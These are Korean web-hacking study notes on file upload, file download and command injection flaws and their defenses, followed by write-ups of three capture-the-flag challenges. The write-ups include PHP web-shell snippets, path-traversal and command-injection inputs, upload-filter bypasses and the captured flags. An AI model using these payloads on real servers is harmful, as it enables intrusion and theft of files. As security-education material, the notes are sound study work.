웹해킹 9주차
<내용 정리>
File Vulnerability
-
파일 업로드 취약점
서버의 파일 시스템에 사용자가 원하는 경로 또는 파일 명 등으로 업로드가 가능하여 악영향을 미칠 수 있는 파일이 업로드되는 취약점
File Upload(파일 업로드)
웹 서비스를 통해 파일을 서버에 업로드하는 기능을 의미
사용자의 사진, 문서와 같은 파일을 서버에 업로드하여 다른 사용자들과 공유하기 위한 목적
사용자의 파일이 서버의 파일 시스템에 저장되어 처리된다는 이유로 인해 취약점이 발생
사용자가 파일 업로드 시 파일의 내용과 함께 파일의 이름도 함께 서버로 전송되며 이 때 서버가 아무런 검증이 없다면 서버의 파일 시스템에 원하는 파일 저장 가능
CGI(Common Gateway Interface)
사용자의 요청을 받은 서버가 동적인 페이지를 구성하기 위해 엔진에 요청을 보내고 엔진이 처리한 결과를 서버에게 반환하는 기능
php, jsp, asp 등과 같이 CGI를 통해 서비스를 하는 형태에서는 확장자를 통해 웹 어플리케이션 엔진에 요청 여부를 판단
업로드 페이지에서 .php확장자를 가진 파일 외에도 .php3/4/5/7, .pht, .phtml등의 파일 확장자를 업로드하여 서버의 엔진이 처리하도록 유도 가능
웹 서비스가 동작하는 경로에 사용자가 원하는 파일 내용과 파일 명을 업로드 할 수 있다면 서버가 엔진에 요청하는 확장자를 업로드하여 서버의 웹 어플리케이션에 원하는 코드를 실행 가능
웹 서버가 파일을 실행하는 시기는 사용자의 요청이 들어오면 파일 시스템에서 해당 파일을 찾아 실행하는 것이기 때문에 웹 서버가 서비스하는 경로에 파일을 업로드할 수 있어야 함
웹 어플리케이션이 실행하는 코드를 악의적인 공격자가 조작할 수 있다면 웹 어플리케이션 언어에 내장된 OS 명령어 등을 사용할 수 있으며, 해당 서버의 쉘을 웹을 통해 사용한다고하여 WebShell(웹쉘)이라는 악성코드가 등장하게 됨
업로드 시 파일 내용에 php엔진이 처리하는 문법을 추가하여 업로드 가능
예시 코드 exploit.php
<?
php system("ls");
?>
또한, html 파일을 업로드하여 Stored XSS 취약점이 발생하게 할 수도 있음
예시 코드 exploit.html
<script>alert(1);</script>
-
파일 다운로드 취약점
서버의 기능 구현 상 의도하지 않은 파일을 다운로드할 수 있는 취약점
사용자가 업로드한 파일을 다른 사용자와 공유하기 위한 파일 다운로드 기능이 존재
취약점이 발생하는 가장 흔한 형태 -> 사용자가 입력한 파일이름을 검증하지 않은 채 그대로 다운로드 시켜주는 행위
파일 다운로드 취약점은 웹 어플리케이션의 소스코드, 관리자의 패스워드, 서비스 키, 설정 파일 등을 유출할 수 있기 때문에 주로 이차적인 공격을 위한 발판으로 사용됨
Path Traversal을 이용하면 uploads 경로보다 더 상위 경로에 존재하는 시스템 파일, 설정 파일과 같은 중요한 정보들을 다운로드 가능
http://example.com/download?filename=docs.pdf형태가 정상적인 파일 다운로드 요청이라면 공격자는http://example.com/download?filename=../../../../etc/passwd처럼 다른 경로에 접근하여 시스템의 계정 파일을 다운로드 받을 수 있음
파일 다운로드 취약점을 막기 위해서
기본적으로 인자에 다운로드 받으려는 파일의 경로나 이름을 넘기지 않는 것이 좋고 반드시 이름을 넘기는 방식으로 구현해야 한다면 상대경로로 올라가는데 사용될 수 있는 .. 과 / 와 \\ 를 적절하게 필터링 해야함
다운받으려는 파일의 경로에서 단순히 ../ 만을 필터링 하려고 filename = filename.replace("../", "") 과 같이 상위 경로로 올라가는 키워드를 없애면 상위 경로로 못올라가기 때문에 안전할 것이라고 생각할 수 있으나 공격자는 ..././file 과 같은 형식으로 요청해 ../가 삭제되어 다시 새로운 ../를 만드는 형식으로 우회할 수 있음
또한 만약에 웹 서버가 동작하는 운영 체제가 윈도우 운영체제일 경우 ../외에 ..\\로도 상위 경로에 접근할 수 있기 때문에 둘 다 필터링 하는 것이 필요
그다음으로 권장되는 방법은 데이터베이스에 다운로드 될 파일의 경로와 그에 해당하는 랜덤 키를 생성해 1대 1로 매칭해서 저장해두고 해당 랜덤 값이 인자로 넘어왔을 때 데이터베이스에 존재하는 파일인지를 먼저 식별하고 다운로드 하는 것이 안전
Command Injection
OS Command
linux(ls, pwd, ping, zip), windows(dir, pwd, ping) 등 OS에서 사용되는 Command
웹 어플리케이션에서 OS Command를 사용하기 위해 PHP(system), Node JS(child_process), Python(os.system)과 같이 OS Command를 실행하는 함수가 구현되어 있음
일반적으로 웹 어플리케이션에서 OS Command를 사용하는 이유는 이미 기능을 구현한 OS 실행 파일이 존재할 때 코드 상에서 다시 구현하지 않고 OS Command로 실행하면 더 편리하기 때문
OS Command는 내부적으로 쉘을 이용해 실행하는데, 쉘에는 한 줄에 여러 명령어를 실행하는 등의 쉘 사용자 편의성을 위해 제공하는 특수 문자들이 존재
OS Command를 사용할 때 만약 사용자의 인풋이 검증되지 않고 그대로 OS Command 함수에 들어가게 된다면 특수 문자를 이용해 사용자가 원하는 명령어를 함께 실행하게 될 수도 있음
그 특수 문자는 아래와 같음
`` | 명령어 치환 ``안에 들어있는 명령어를 실행한 결과로 치환 |
$ echo `echo theori` theori |
$() | 명령어 치환 $()안에 들어있는 명령어를 실행한 결과로 치환 이 문자는 위와 다르게 중복 사용이 가능함(echo $(echo $(echo theori))) |
$ echo $(echo theori) theori |
&& | 명령어 연속 실행 한 줄에 여러 명령어를 사용하고 싶을 때 사용합니다. 앞 명령어에서 에러가 발생하지 않아야 뒷 명령어를 실행합니다. (Logical And) |
$ echo hello && echo theorihellotheori |
|| | 명령어 연속 실행 한 줄에 여러 명령어를 사용하고 싶을 때 사용합니다. 앞 명령어에서 에러가 발생해야 뒷 명령어를 실행합니다. (Logical Or) |
$ cat / || echo theoricat: /: Is a directorytheori |
; | 명령어 구분자 한 줄에 여러 명령어를 사용하고 싶을 때 사용합니다. ;은 단순히 명령어를 구분하기 위해 사용하며, 앞 명령어의 에러 유무와 관계 없이 뒷 명령어를 실행합니다. |
$ echo hello ; echo theorihellotheori |
| | 파이프 앞 명령어의 결과가 뒷 명령어의 입력으로 들어갑니다. |
$ echo id | /bin/shuid=1001(theori) gid=1001(theori) groups=1001(theori) |
Command Injection 취약점을 막기 위해서
사용자의 입력 데이터가 Command 인자가 아닌 다른 값으로 해석되는 것을 막아야 함
가장 좋은 방법은 웹 어플리케이션에서 OS Command를 사용하지 않는 것
웹 어플리케이션에서 필요한 OS Command가 라이브러리 형태로 구현되어 있으면 해당 라이브러리를 사용하는 것이 좋고 없을 경우 직접 프로그램 코드로 포팅 하는 것이 좋음
OS Command를 사용할 경우 해당 Command 내부에서 다른 취약점이 발생하는 등 잠재적인 위협이 될 수 있음
만약 OS Command에 사용자의 입력 데이터를 넣어 사용해야할 경우 필터링을 통해 Command Injection을 방지
방지하는 방법에는 크게 화이트/블랙 리스트 방식의 필터링으로 구분
-
정규식을 통한 화이트리스트방식 필터링
e.g. ping을 보내는 페이지의 경우 사용자가 입력한 ip address가 정상적인 ip address 형식인지 정규식으로 검증 후 사용 가능
import re, os, ...
...
chk_ip = re.compile('^((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$')
if bool(chk_ip.match(ip)):
return run_system(f'ping -c 3 {ip}')
else:
return 'ip format error'
-
OS Command에서 Meta 문자로 사용되는 값을 필터링 하고 따옴표로 감싸기
e.g. ping을 보내는 페이지의 경우 사용자가 입력한 ip address를 따옴표로 감싸서 사용 가능
if '\'' in ip:
return 'not allowed character'
return run_system(f'ping -c 3 \'{ip}\'')
Double Quotes (")를 사용할 경우 dollarsign ($), backquote (`) 가 해석되어 모든 입력을 문자열로 처리하는 Single Quotes (')를 사용해야 함
-
execve args 인자로 사용
shell meta 문자로 해석되지 않게 입력 값을 넣습니다.
subprocess.Popen(['ping', '-c', '3', ip]) # B
-
기능에 해당하는 라이브러리 사용
사용하고자하는 기능을 OS 커맨드가 아닌 구현한 라이브러리로 대체 사용 가능
ping3: 소켓프로그래밍을 통해 ping기능을 구현한 라이브러리
라이브러리의 보안성 및 안정성 등을 검토한 후 사용
#! pip install ping3
# https://github.com/kyan001/ping3/blob/master/ping3.py
import ping3
ping3.ping(ip)
<워게임 풀이>
1. PHP - Command injection
Statement
Find a vulnerabilty in this service and exploit it.
The flag is on the index.php file.

127.0.0.1 && cat ./index.php 입력

개발자 도구를 들어가 보자.

flag : S3rv1ceP1n9Sup3rS3cure
2. File upload - Double extensions
Statement
Your goal is to hack this photo galery by uploading PHP code.
Retrieve the validation password in the file .passwd at the root of the application.
PHP 코드를 입력해 해당 사이트의 취약점을 공격하는 문제
root에 있는 .passwd파일에 비번이 있을 것이다.


upload 탭에서 사진을 올릴 수 있음. 단 .gif, .jpeg, .png 확장자만 올릴 수 있다.
메모장을 이용해서 코드를 작성해보자.
앞서 본 예시 코드와 유사하게 작성할 것이다.
<?
php system("cat ./.passwd");
?>
확장자는 .png로 저장한다.

실패 - 아마 root로 접근하지 못해서 그런 것 같다.
<?
php system("../../../ cat ./.passwd");
?>
로 시도해보자
이번에도 실패했다. - 파일명이 잘못된것 같다. 파일명을 b.php.png로 해보자
오 좀 다른 결과가 나왔다. 그래도 실패 - 형태는 맞는것 같은데 코드가 잘못된 것 같다.
밑에 있는 힌트를 이용해 보자
<?php system($_GET['command']); ?> 로 코드를 구성해보자
(솔직히 문서 내용을 다 이해하진 못했다-형광팬이 쳐져있길래 중요해보여서 가져왔다.)
똑같다... 뭐지...
php로 웹상의 파일을 읽는 함수를 검색했더니 file_get_contents가 나와서 이를 이용해보기로 했다.
<?php
echo file_get_contents("../../../.passwd");
?>
성공!!
flag : Gg9LRz-hWSxqqUKd77-_q-6G8
3. File upload - MIME type
Statement
Your goal is to hack this photo galery by uploading PHP code.
Retrieve the validation password in the file .passwd.
https://developer.mozilla.org/ko/docs/Web/HTTP/Basics_of_HTTP/MIME_types
MIME 타입
MIME 타입이란 클라이언트에게 전송된 문서의 다양성을 알려주기 위한 메커니즘입니다: 웹에서 파일의 확장자는 별 의미가 없습니다. 그러므로, 각 문서와 함께 올바른 MIME 타입을 전송하도�
developer.mozilla.org
일단 2번 문제처럼 접근해 보자.
<?php
echo file_get_contents("../../../.passwd");
?>
흠 하이퍼링크가 뜨질 않는다.
Burp suite를 이용해서 content-type을 image/png로 바꾸어서 찾아줄 것이다.
a7n4nizpgQgnPERy89uanf6T4 ?? 바로 찾음...
원래는
<?
php system("cd .. ; ls -al");
?>
content-type을 text/php로 바꾸어서 .passwd가 있는 곳을 찾아줘야 한다. 운이 좋았다.
flag : a7n4nizpgQgnPERy89uanf6T4